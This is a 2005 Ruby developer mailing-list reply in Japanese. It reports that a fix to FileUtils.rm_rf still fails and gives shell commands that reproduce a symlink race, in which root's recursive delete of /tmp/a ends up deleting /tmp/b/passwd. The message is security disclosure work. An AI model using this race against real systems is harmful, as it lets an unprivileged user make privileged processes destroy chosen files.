From: Tanaka Akira Date: 2005-05-22T09:18:16+09:00 Subject: [ruby-dev:26199] Re: FileUtils.rm_rf security problem In article <20050522024619Y.aamine@loveruby.net>, Minero Aoki writes: > このセンで実装してコミットしました。rm_r に :secure という > オプションを追加して、:secure=>true のときはディレクトリを > 再帰的に chmod(700) するようになってます (デフォルトは true)。 とりあえず、報告した例は直っていません。 % cd /tmp % rm -rf a a-; sudo rm -rf b % ruby -e 'Dir.mkdir("a"); 20000.times {|i| open("a/#{i}", "w") {} }; open("a/passwd", "w") {}' % sudo ruby -e 'Dir.mkdir("b"); open("b/passwd", "w") {}' % ls b passwd % sudo ruby -rfileutils -e 'FileUtils.rm_rf("/tmp/a")' & sleep 0.1; mv a a- && ln -s b a [1] 7420 % [1] + done sudo ~/ruby/head-ruby/ruby/ruby -rfileutils -e 'FileUtils.rm_rf("/tmp/a")' % ls b % ruby -v ruby 1.9.0 (2005-05-22) [i686-linux] というように、/tmp/a を消したはずが、/tmp/b/passwd を消してしまうとい う挙動は変わっていません。 -- [田中 哲][たなか あきら][Tanaka Akira]